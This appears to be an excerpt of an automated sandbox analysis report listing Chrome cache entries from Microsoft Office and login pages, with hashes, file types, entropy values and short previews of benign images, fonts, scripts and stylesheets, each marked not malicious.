SHA-512:	F35C28AC263F1C8A16385D6624D33D0EBCA72F0F959DA654C5B552D5B23EDF41A16D922A9FB6AAFD408AF7E2721D42C0145D99E6B8BC462679FADBEF2C484BA4
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-consumer-1-mreb-7b89e7b9a1.png
Preview:	.PNG........IHDR...w..........b......pHYs.........&.:4....sRGB.........gAMA......a....IDATx...{.o.U....~.q.>.z.....W...1.1...$.N...L...%....)..{...J]....i!.-uh!ZJB......4j.....@$l.:..7.....5z.5.s......~.:...~.S..[k..Zk....5.D...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7422), with CRLF line terminators
Category:	downloaded
Size (bytes):	7473
Entropy (8bit):	5.146809535291475
Encrypted:	false
SSDEEP:	192:vcVVdUnJWDHF0fHSVu433wcx8JC/xqgWmbST0cg:vcVMnJWh0vSVug3b8J4xqgP
MD5:	F2EA2EEC5E7624C80B39FF1FB4BA7E13
SHA1:	4F01A25B75855276FE06FD870933E8CE895EE8FC
SHA-256:	B38D1FF9F79619E152C2F7D5E79F64CB817E4E7FF03A852CE5E409419BD13412
SHA-512:	AE7FB838B4C50F55D3757B266DAF37206056A75C06E7660661B135B2E8C217690E751FABB2881EB2F2614B2B1C6412AA0B00C7A3949CCB4531CFE7EF4733D004
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/workbox-v3.6.2/workbox-core.prod.js
Preview:	self.babelHelpers={asyncToGenerator:function(e){return function(){var t=e.apply(this,arguments);return new Promise(function(e,r){return function n(o,i){try{var c=t[o](i),l=c.value}catch(e){return void r(e)}if(!c.done)return Promise.resolve(l).then(function(e){n("next",e)},function(e){n("throw",e)});e(l)}("next")})}}},this.workbox=this.workbox\|\|{},this.workbox.core=function(){"use strict";try{self.workbox.v["workbox:core:3.6.3"]=1}catch(e){}var e={debug:0,log:1,warn:2,error:3,silent:4};const t=/^((?!chrome\|android).)*safari/i.test(navigator.userAgent);let r=(()=>e.warn)();const n=e=>r<=e,o=e=>r=e,i=()=>r,c=e.error,l=function(r,o,i){const l=0===r.indexOf("group")?c:e[r];if(!n(l))return;if(!i\|\|"groupCollapsed"===r&&t)return void console[r](...o);const s=["%cworkbox",`background: ${i}; color: white; padding: 2px 0.5em; `+"border-radius: 0.5em;"];console[r](...s,...o)},s=()=>{n(c)&&console.groupEnd()},u={groupEnd:s,unprefixed:{groupEnd:s}},a={debug:"#7f8c8d",log:"#2ecc71",warn:"#f39c12",err

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 11356, version 1.0
Category:	downloaded
Size (bytes):	11356
Entropy (8bit):	7.9788069780762
Encrypted:	false
SSDEEP:	192:bkChSYgOv8Dxgh8lDxlYOT9hNP84LmuuDm3TyRKySHvJWcUihSCtv46A4oNr8oYe:hM8kzlVlz5X08muW2TykySHBAeU4SnYe
MD5:	DAC73DC7B1EB35CD360DA41648DE072B
SHA1:	DA1F6A5F46B72320A55B398F5F66D5E9AA6132F1
SHA-256:	2CD3EF7B5B677B7827BFBE5B926A283E7CA687DDB6B021FA4289630671EBD061
SHA-512:	366155FF687C7892AABD45C875F6D9D695AFDC247B807B18094C18ABD4BF6E415E9C78CE2EDE4076C378E659C51B1050C10323572E728B6E179F8ED1CD4A6057
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_semibold.woff2
Preview:	wOF2......,\......W...+.........................?FFTM..&..... .`..z......d.J.....6.$.... ..y..r..K5l[....@......f..{0......t..T.@u...@Le..Yt..+.Z...E<.v{.k/.....p..1..e.z-:.....&.O.=...m..X.....{.7.?2...P%.7.k.s.....$..y]V.>Hj.d..!f....g..C....k....6TL"..$r.6.Qc...j....tt[(.....P....7....2j.1.\.nN.u."6....4.}Yl.Ql+7l..O}.:..SqZ.r...`._@...y.m.!.n@.....z.]i. .?..s{.g.Q...'. ?l.$A..o.,j.m..-.+..H.4}{...7....3...u....\|..i..'#.y[.M.......f...]A.JS~..:6.......T...'.....yU..,]\|.....,g.T......P..d^..WEy<.%.....5JT....H...tZ..E..xA.]r.]..z.qU..X.....P.Yp..d..E.G...TX.......#(...........0..h]..Ns.....\|.<....9..m.P....J....X$F.7P....?..s..XY..\|{+n{\...s...e\.."....q.y.F8.......x...:.W..... ~.o. .<NT..:.........}.?._:.@q.6..=..@.#:.a:..Rb....V./]U..6.Mz..Iw.3.Y.,{60........R..........k>0..d..a`<1n8........g....k..........{...........U.i...>.mOK..e.6s)...JSF..........o'..\|...0G_N...........D....yh;.S..xf...J...q..u.n.Z..<..>.......\|...~..*..1...

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	97741
Entropy (8bit):	5.317413225936828
Encrypted:	false
SSDEEP:	1536:yomI9/afvZtvdKJiT315bQNrkSGQSv921rl1:aI9CfPciD158NrkO1
MD5:	C57CC11A511063B808F4A2C7745DF8D0
SHA1:	CEB6E14B7520A995C7E9C3BB6F3C1DCD56CCB5EE
SHA-256:	65628140B0930C3F9ED1A06A8F30F454245A08665047C6A95B592DFD164F4E9F
SHA-512:	CA8C7FCB456D3819FBA65A5040547D5A169FC5BDA9F1EA8479EA75C0580A57D02DC07525445F9FA7EC0D09CF2F38A6B8F71F297F715A0059AB8786D5D85BF948
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/bundles/otel-logger-cdec0b6428c58e375482.js
Preview:	(()=>{"use strict";var e={},n={};function t(r){var i=n[r];if(void 0!==i)return i.exports;var o=n[r]={id:r,loaded:!1,exports:{}};return e[r](o,o.exports,t),o.loaded=!0,o.exports}t.m=e,(()=>{var e,n=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__;t.t=function(r,i){if(1&i&&(r=this(r)),8&i)return r;if("object"==typeof r&&r){if(4&i&&r.__esModule)return r;if(16&i&&"function"==typeof r.then)return r}var o=Object.create(null);t.r(o);var a={};e=e\|\|[null,n({}),n([]),n(n)];for(var u=2&i&&r;"object"==typeof u&&!~e.indexOf(u);u=n(u))Object.getOwnPropertyNames(u).forEach((e=>a[e]=()=>r[e]));return a.default=()=>r,t.d(o,a),o}})(),(()=>{t.d=(e,n)=>{for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})}})(),(()=>{t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce(((n,r)=>(t.f[r](e,n),n)),[]))})(),(()=>{t.u=e=>"inline.text-encoder-lite.chunk.js"})(),(()=>{t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("retur

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1119 x 704, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	591728
Entropy (8bit):	7.996032737804013
Encrypted:	true
SSDEEP:	12288:BzVysRpODYLFLYXMaM48blnrCrjueL1oETab46OxEdB7ny2Q7e/:rODoSMcImr71eUXEPnBQq/
MD5:	8977DBD5387860CD8344B51DC4F00216
SHA1:	A0BCA65DE5D325B87EBDED22EC2EE9F459EED2DB
SHA-256:	6EA50E423008D71C95B019385D8A3D018DE4B9735870224B49EBA9B2E2A0263B
SHA-512:	EAEC056E681DFAC5CDEFBA16A1AB20CBDBD736AC77D14F018FD6C371F2D6C1F81ED46353B7661BB2E326A89E608D5B2B9097A0AD0F7ADF4DEF682AE835D75B13
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-commercial-1-mreb-8977dbd538.png
Preview:	.PNG........IHDR..._.........E:......pHYs.........&.:4....sRGB.........gAMA......a.....IDATx...I.mKr&.....9.{.....H.I1.Y.T.RBB@....h....@....j.Y.......5......T....lX.....\|.........?3...9.y$.n.W.nnnn..,o.&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L.0a...&L...L..:`....~\|s.....UV^IX.)?K).=+.y..w....j.[.e..2..%_...9._IJ...z=.G.Z..`...g...r...[...{....w(..?..1<%r..........w.&...`.~...&L.0a..3..-.................x...X..^...Z.......5.<..'O...+9\.,......9.0....=oN."....b._.{Zy.X.{I.e{.].......!...=.ER.-m.G.y...o...<.V`.?..i-...z.~.5...[.V..0-k*{...2....}J...ij..&%.R...+%.K.wz...r'Fy~....s.ZQ.gMYR}O%C.S)=......GO....\./.Zo...q.x7.dY.......g....w.Y.\x.....R.J..S...\.,.b......S.{J.?..[.M../.s......t....M..\.?P...W.&O8......W.....&u%.....A

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	downloaded
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4565
Entropy (8bit):	7.879534543139402
Encrypted:	false
SSDEEP:	96:aSNKFuwJEQpaGX5wC3wglX5YEGdqsR1VsIAufA0E3xnMMV7:aSN3QpayvmEGdqsxsW7EhMMF
MD5:	D596565EC1F100A507CC0D5F663B6D57
SHA1:	6B688AA0541E5758B9A54C1848C6A52886E081BA
SHA-256:	4C8A06620DD3AADE66AEB759A5FC2BCEC1B51B66EA9C456B5DC3F511CB783258
SHA-512:	7E7CAF2644B686064959389EA975BC1701C8FB3FB23C44B701FE710227FE2A0A0B58769AABA6569FCBE1D79E44E5669CD60036060B3144E0C6B97A8C40D6CA9B
Malicious:	false
Reputation:	low
URL:	"https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/UHFbanner-MSlogo?fmt=png-alpha&bfc=off&qlt=100,1"
Preview:	.PNG........IHDR.............J.......pHYs.................IDATx...t..u...H.$~X.....\|L16.8@........`p.&.,..+.mPKh....4)$$.H..+Y....?SB.l.1..H!.4....c+..-k...cf.....Z.bZ......f..w.}.=.}......o....G.t%.?C...SOV.n..r!.t.<<.?.)..G......x...QA<... ..yxT..@w...Jkk..t:=....8....a.w..t)ux.v.......3TU}...........4.Z..@D.\...O.......<....\J).<......u.$..^.!.rfV.y},.[....a.....Q+..d...i...9..=..iU..S"ZY$[...&..1......9r"..........O.R..h..n..B...X2..OD.,..n.4..]..k<.{..K..)...J.oB)...<.}>..6.o.~..X!.W..3s..,.<.Rj;DDg..........B\....;`..N...=1....L&.2...X,.z&m.)X1\|.\|9.`B.K`..K...u.K)7.o...CQ.9.\|.C<....b......DD..] .\b....@0...d..s..X....0.S...2uuu.&..C.......O=..O..4-..+..ttt.+WV3......L......f.\..\......dr!.....[o.u_SSS...a.a..B....?.n.8.O.f.N...+....c}2O....p8.www..)b....D.........s4..~z..!.tQ...\........2{3X.o........OK$.'..}.M.f.8..c..DT....Kl.);\.=.;::d.2.v..RN.p..Bef.(.G.tz{<..QJ[.....1W.X1Y.1.....]......<....H.0&..~..y..(.E".wK..........G2.".L..

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1440 x 1001, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	881847
Entropy (8bit):	7.9872299190546325
Encrypted:	false
SSDEEP:	24576:TB1iSAc4Ggpqd2NIBvRQe/1XlenDK78I5lFDh:TBEcoQ2qBvRL1XIg8I5F
MD5:	575EB26CF254E560FAB26BE95EF3A5EA
SHA1:	6D2188018E9C82D3571F68E0AC8E90A93D40BDCD
SHA-256:	A86828D13978FF8C8E6512764E5DA862E868CE8B57A8316825FF91511D7A7069
SHA-512:	E0564E4A1382E19FF2ADBB09F6CDEDDF02BAA4307A05A86A38A32CF644181DB44325BC787FB3C0022583DFCDEFB9744E40448BCF771CDA4D79AB163C1C0FB5D2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............'.V....pHYs.................sRGB.........gAMA......a...tLIDATx.....$.y..>q.uvu..@.q.......4").+J"e[.Mi...d.f<.S.=;.4....3.l..xe.sH.a.c[.F.). @...........3.}./2...2....`.\|.d"3.../..;...... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	251464
Entropy (8bit):	5.983609623990004
Encrypted:	false
SSDEEP:	3072:nMPvxEWQIGKwqfsCbL8IcfD4eeC6TahNXrozt135uSMgttkwhf8Q:nCvCj7gsdgvMSDtt3F8Q
MD5:	9299D81EAABDBB856AB23BE6A57F444F
SHA1:	6C87AF0395C5838B832472845732EF5690C224B5
SHA-256:	F643529F69D88A9255A826EC3A18659B70456141E5EC6BAD94CAFB687EC5543C
SHA-512:	BF0F3617226894E98D7AAADDF786D333BA0A7F4F970C64241526FA1FC9EF724A4B3952EE322208A2BB1A36A9EAA7D016C5D0C7B53032EB705DD77DA8A26758A3
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/bundles/unauth-9299d81eaa.css
Preview:	.ms-Icon,.ms-ohp-Icon,.ms-ohp-Icon:before{speak:none;font-variant:normal;text-transform:none;line-height:1em;-webkit-font-smoothing:antialiased;font-weight:400;vertical-align:middle}@font-face{font-family:office365icons;src:url(/css/webfonts/office365icons.eot?);src:url(data:application/octet-stream;base64,d09GRgABAAAAACtMAA4AAAAARkgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABPUy8yAAABRAAAAEQAAABWNeFFDWNtYXAAAAGIAAAAlAAAAeLMcNF9Y3Z0IAAAAhwAAAAUAAAAHAZN/5hmcGdtAAACMAAABPkAAAmRigp4O2dhc3AAAAcsAAAACAAAAAgAAAAQZ2x5ZgAABzQAACApAAAzHCacVyhoZWFkAAAnYAAAAC8AAAA2FCD/dWhoZWEAACeQAAAAHgAAACQOdQqHaG10eAAAJ7AAAAAuAAAAiI66AABsb2NhAAAn4AAAAEYAAABGtGSoRG1heHAAACgoAAAAIAAAACACAwrCbmFtZQAAKEgAAAGUAAADFTJUT1dwb3N0AAAp3AAAARYAAAGQtCqpVXByZXAAACr0AAAAVgAAAFaSoZr/eJxjYGQxZpzAwMrAwVTFtIeBgaEHQjM+YDBkZGJgYGJgZWbACgLSXFMYHB4wPZ7AHPQ/iyGKmZfBFyjMCJIDANapC2B4nGNgYGBmgGAZBkYGELgD5DGC+SwMB4C0DoMCkMXDwPCA6YHYA6cHXg9CHyQ9SHnQ8aDrwdYHOx9KPEx4OPORyiP3RxGPKx/3PJ7w/z/IGKyqt6OpbnrcD1It/1/+jfxB+V3yG+SXyC+Wb5Cvlw+VD5H7Jrderlz2rexp2d0y

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1440 x 1001, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	881847
Entropy (8bit):	7.9872299190546325
Encrypted:	false
SSDEEP:	24576:TB1iSAc4Ggpqd2NIBvRQe/1XlenDK78I5lFDh:TBEcoQ2qBvRL1XIg8I5F
MD5:	575EB26CF254E560FAB26BE95EF3A5EA
SHA1:	6D2188018E9C82D3571F68E0AC8E90A93D40BDCD
SHA-256:	A86828D13978FF8C8E6512764E5DA862E868CE8B57A8316825FF91511D7A7069
SHA-512:	E0564E4A1382E19FF2ADBB09F6CDEDDF02BAA4307A05A86A38A32CF644181DB44325BC787FB3C0022583DFCDEFB9744E40448BCF771CDA4D79AB163C1C0FB5D2
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-edu-3-mreb-575eb26cf2.png
Preview:	.PNG........IHDR..............'.V....pHYs.................sRGB.........gAMA......a...tLIDATx.....$.y..>q.uvu..@.q.......4").+J"e[.Mi...d.f<.S.=;.4....3.l..xe.sH.a.c[.F.). @...........3.}./2...2....`.\|.d"3.../..;...... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	dropped
Size (bytes):	138268
Entropy (8bit):	5.224497765711851
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7CisuMK/xw/:1f4Hu1I+Tw/
MD5:	5B85413B96AF340238B93068CDB641FB
SHA1:	D949C985DF4F80FAB0CF036A1DD86C63CA342F1F
SHA-256:	1B448C19C6DF1F2D15399A710A73BB3EC0C5233B571CDFAE9CCA315E6E13FB85
SHA-512:	5B7E26BB4C72A8D8EE6CD20EEEA354ADD396F74289BD3E42CD1D6C8A5D3FA1B190CC62B953CAF4FA38EFDA0983F90F937276C8797EB2E1BADC11F9F5161117CE
Malicious:	false
Reputation:	low
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2609 x 470, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	713010
Entropy (8bit):	7.987989282294461
Encrypted:	false
SSDEEP:	12288:U/c+B7hHsXoxmtGQolRbB//k45VaX4P1g+7TX9r4FYyPxquW5:UFhOoeGQwRbB08E4P1gqN4FfP4uW5
MD5:	FA4FE5B56D9FAB46DB542559A3B83E37
SHA1:	87921556BC7E350DEF09A7CBC51465C52383428D
SHA-256:	9872BD2450803A2A52E862DE35CA6FA5F1684AC59174F73C7F80EADFC0B63002
SHA-512:	8E58F7075D015C0280DCF0845A4FD84498E738EA57232E56A152336B611E2681EFB19C5824A31203E84B92E0355AFBE2447AD3CF76AABA1B3DA431471DB4D8D4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...1.........<.9.....pHYs.................sRGB.........gAMA......a.....IDATx..O.uGr.Vu(K.lS$1..b.0.. ."..."..\|.d.u....,.d1...o...0...I...XY.Z.0....Hp..-K...._W...>............}...[.t..._....bfBdp.e..G)-.z...jT....v.62.rxo/.Z.U...t....6~.>.x..<.8.....-.....+.{.3.7..6..g.....4.....Z..;...Y..X/..yC...4....}..Jn.".ej.W<Sn#.3.......o.K.?/.d.C)_.....'...,.P.P.8o.f.+.?....Mu`..u.y.1..A..d..$y;a\|b.Ve.....,oWr.....{....\.U.2.j..4=...?c^.Z......z)....${M>+Yb^.Y.r....0...8N.../[.7.x#.{....+..<...yQF..i.s...._E.JV.a..wY..T.6n>N..-l...=..G^.g.=.Om.r..B=.\|.y.[..[.........u...~...g........._...Ch.;..m#..<.)._..................i..u.......).....=..Lk.v.....N..._.U...._.f..r........_.................L.7N...........v.........?...z..U.....;..........?.G.HnW.W.oy~...o.9..g..g......]..........G..o..V......o..F.}..Q........._}..~...v.g....'.\|b.y....M.6m.i.M.6m..{$..tj..>.L?..S.c..w..~../..B?...TF.:..>...'?.....-\|.=.M......?my.{.=